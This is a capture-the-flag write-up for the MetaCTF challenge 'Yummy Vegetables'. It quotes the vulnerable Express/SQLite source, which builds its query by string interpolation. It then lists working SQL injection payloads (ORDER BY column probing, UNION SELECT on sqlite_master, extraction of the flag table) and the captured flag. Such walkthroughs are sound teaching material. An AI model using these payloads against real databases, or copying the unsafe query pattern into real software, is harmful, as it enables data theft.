Yummy Vegetables

This Challenges was based on a simple SQL injection.

First we looked at the interaction of the web page and see directly that there is a query made over a custom http Query. We can simulate such a query with this curl script:

curl http://host.cg21.metaproblems.com:4010/search -X SEARCH --header "Content-Type: application/json" --data '{"query":"test"}'

With the given sourcecode of the index.js:

const express = require('express'); const Ajv = require('ajv'); const sqlite = require('better-sqlite3'); const sleep = (ms) => new Promise((res) => { setTimeout(res, ms) }) // set up express const app = express(); app.use(express.json()); app.use(express.static('public')); // ajv request validator const ajv = new Ajv(); const schema = { type: 'object', properties: { query: { type: 'string' }, }, required: ['query'], additionalProperties: false }; const validate = ajv.compile(schema); // database const db = sqlite('db.sqlite3'); // search route app.search('/search', async (req, res) => { if (!validate(req.body)) { return res.json({ success: false, msg: 'Invalid search query', results: [], }); } await sleep(5000); // the database is slow :p const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`; let results; try { results = db.prepare(query).all(); } catch { return res.json({ success: false, msg: 'Something went wrong :(', results: [], }) } return res.json({ success: true, msg: `${results.length} result(s)`, results, }); }); // start server app.listen(3000, () => { console.log('Server started'); });

We can also verify the SQLi vector at the line:

const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;

With this given SQL injection we can now check the column count:

%' order by 5; -- %' order by 4; -- %' order by 3; --

So we know that we got 3 columns so lets create a test:

%' AND 1=0 UNION SELECT 1,name,3 FROM sqlite_master; --

And we get a list of tables in the database. We can assume that our table the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 holds our flag, so we tried to get the column flag of that table.

%' and 1=0 UNION SELECT 1,flag,2 FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5; --

And we got the flag:

MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}